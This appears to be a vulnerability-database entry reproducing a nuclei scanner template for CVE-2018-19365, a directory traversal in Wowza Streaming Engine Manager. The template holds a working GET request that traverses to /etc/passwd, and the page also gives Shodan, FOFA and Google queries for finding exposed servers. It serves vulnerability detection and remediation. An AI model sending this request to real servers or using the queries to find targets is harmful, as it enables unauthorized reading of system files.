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Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal

🗓️ 30 Jun 2026 04:56:11Reported by ProjectDiscoveryType 
nuclei
 nuclei
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Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request to the REST API. An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or disclosure of sensitive information

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VulnCheck KEV: CVE-2018-19365
26 Nov 202300:00
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id: CVE-2018-19365

info:
  name: Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal
  author: 0x_Akoko
  severity: critical
  description: Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request to the REST API.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or disclosure of sensitive information.
  remediation: |
    Upgrade to the latest version of Wowza Streaming Engine Manager or apply the necessary patches to fix the directory traversal vulnerability.
  reference:
    - https://blog.gdssecurity.com/labs/2019/2/11/wowza-streaming-engine-manager-directory-traversal-and-local.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19365
    - https://raw.githubusercontent.com/WowzaMediaSystems/public_cve/main/wowza-streaming-engine/CVE-2018-19365.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2018-19365
    cwe-id: CWE-22
    epss-score: 0.22863
    epss-percentile: 0.97448
    cpe: cpe:2.3:a:wowza:streaming_engine:4.7.4.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wowza
    product: streaming_engine
    shodan-query:
      - http.title:"manager" product:"wowza streaming engine"
      - cpe:"cpe:2.3:a:wowza:streaming_engine"
    fofa-query: title="manager" product:"wowza streaming engine"
    google-query: intitle:"manager" product:"wowza streaming engine"
  tags: cve2018,cve,wowza,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/enginemanager/server/logs/download?logType=error&logName=../../../../../../../../etc/passwd&logSource=engine"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022073f1215a80ffacc2027f62a9a0327f5247a2d0e4a158ac8e9dcfa2d2c6b13a6e0221009a103e6c0b280e77da3250d3199932125f991ea8031a53a40a0a6f6d09a0cebe:922c64590222798bb761d5b6d8e72950

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